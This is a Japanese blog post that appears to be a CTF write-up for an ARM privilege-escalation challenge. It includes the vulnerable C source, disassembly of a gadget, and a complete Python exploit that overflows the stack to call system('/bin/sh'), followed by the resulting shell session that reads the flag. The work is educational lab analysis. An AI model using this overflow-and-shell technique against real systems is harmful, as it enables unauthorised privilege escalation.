ブログ未満のなにか

ブログなのか誰にも分からない

camp ctf 2016 writeup -Mercury編-

はじめに

この記事はCTF Advent Calendar 2016 - Adventarの23日目の記事です。
前日の22日目はelliptic_shiho氏の古典暗号 - 一致指数を用いた多表式暗号の解読 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですでした。

今年のセキュリティキャンプ2016全国大会で開催されたCTFで出題された問題のwriteupです。
ジャンル名はMercuryで、権限昇格系の問題です。問題名は分かりません。

初期調査

leetは、ARMの32bit ELFであり、ソースコードも付いており親切設計。
カナリアがないので、この段階でBOFかなーと予想を立てる。

$ ls -l
-rw-r----- 1 root     mercury2    41 Jul 27 16:09 flag
-rwxr-s--- 1 mercury1 mercury2  7320 Jul 27 16:09 leet
-rw-r----- 1 mercury2 mercury1   924 Aug  8 16:41 leet.c

$ file ./leet
./leet: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x4736edbcdaab4e66ac3cac3d675331310f714dc3, not stripped

$ checksec --file ./leet
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./leet

ソースコード

bufとoutputのサイズは512byteとなっており、fgetsもサイズ分しか受け取らないようになっている。
leet関数では、対応する文字を別の文字へと置き換える処理を行っていおり、一部の文字を使えばBOFを引き起こすことができる。
outputはmain関数のローカル変数となっており、またカナリアがないので、main関数のリターンアドレスを書き換えて制御を奪う方針でいく。

init関数内でsysytemを呼んでおり、これも使えそう。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define BUF_SIZE 512

char buf[BUF_SIZE];

__attribute__((constructor))
void init(void){
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);
	system("date");
}

void leet(char*, char*);

void main(void){
	char output[BUF_SIZE];

	fprintf(stdout, "InputText : ");
	fgets(buf, sizeof(buf), stdin);
	leet(output, buf);
	fprintf(stdout, "LeetSpeak : %s\n", output);
}

void leet(char *dst, char *src){
	int i,j;
	char dict_src[]  = {'a','e','i','o','q','s','t','H','K'};
	char *dict_dst[] = {"4","3","1","0","9","5","7","|-|","|<"};

	assert(sizeof(dict_src)==sizeof(dict_dst)/sizeof(char*));

	for(i=0; src[i]^'\n'&&i<BUF_SIZE; i++){
		for(j=0; j<sizeof(dict_src); j++)
			if(src[i]==dict_src[j]){
				int sz = strlen(dict_dst[j]);
				memcpy(dst, dict_dst[j], sz);
				dst+=sz;
				goto done;
			}

		*(dst++) = src[i];
done:		continue;
	}
	*dst='\0';
}

exploit

x86では関数の引数をスタックを用いて渡しているが、ARMではレジスタを用いて引数を設定するので、ROPなどでレジスタに引数を設定する必要がある。
使えそうなgadgetを探すと、tomoriセクションにnao関数が存在している。
spで指している値をr0に設定しており、使えそう。

また、bufの先頭アドレスは0x20a2cであり、指定する際に改行文字が含まれるので適当に工夫する。
212バイト先が0x20b00であり、そこから/bin/shを配置した。

Disassembly of section tomori:

0001083c <nao>:
   1083c:       e52db004        push    {fp}            ; (str fp, [sp, #-4]!)
   10840:       e28db000        add     fp, sp, #0
   10844:       e8bd8001        pop     {r0, pc}
   10848:       e24bd000        sub     sp, fp, #0
   1084c:       e49db004        pop     {fp}            ; (ldr fp, [sp], #4)
   10850:       e12fff1e        bx      lr

最終的なexploitは、こちら

import struct
from subprocess import Popen, PIPE

buf_size = 512
main_addr = 0x000105d8
nao_addr = 0x0001083c
system_addr = 0x105c4
buf_addr = 0x20a2c 
pudding_size = 212

payload = 'H' *  (buf_size / 3)
payload += 'AA'
payload += struct.pack('<I', buf_addr + pudding_size)
payload += struct.pack('<I', nao_addr)
payload += struct.pack('<I', system_addr)

payload += 'B' * (pudding_size - len(payload))
payload += '/bin/sh\x00'

payload += '\n'

p = Popen(['./leet'], stdin=PIPE, stdout=PIPE)

print p.stdout.readline()			                   # system('date')の出力
print p.stdout.read(len('InputText : '))
p.stdin.write(payload)
print '[+] payload = ', repr(payload)

print p.stdout.readline()
p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

シェルが起動するので、あとは読むだけ。

mercury1@ctf-server:/home/mercury2 $ python /home/pi/exploit.py 
Mon 21 Nov 21:10:53 JST 2016

InputText : 
[+] payload =  'HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHAA\x01\x0b\x02\x00<\x08\x01\x00\xc4\x05\x01\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBB/bin/sh\x00\n'
LeetSpeak : |-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-||-|AA


$ id
uid=1002(mercury1) gid=1002(mercury1) egid=1003(mercury2) groups=1003(mercury2),1000(pi),1002(mercury1)
$ cat flag
FLAG{r37urn_0r13n73d_pr0gr4mm1ng_0n_ARM}
$ exit

さいごに

ARMのpwnは初めてのような気がするので、結構面白かった。他のARMの問題もやってみたけど、あまり聞かないので知っている方いましたら教えてください。

作問者からROPで行けると聞いていたのだが、これROPか?といった気持ち(広義の意味ではReterun Orientedか...)。

あと、ARMのexploit環境でオススメのツールとかあったら教えてください。解析を素のgdbでやっていたので相当キツかった。

次の24日目の記事はinza2氏のThe Malloc Maleficarum (Bugtraq 2005)です!

参考にした記事など

inaz2.hatenablog.com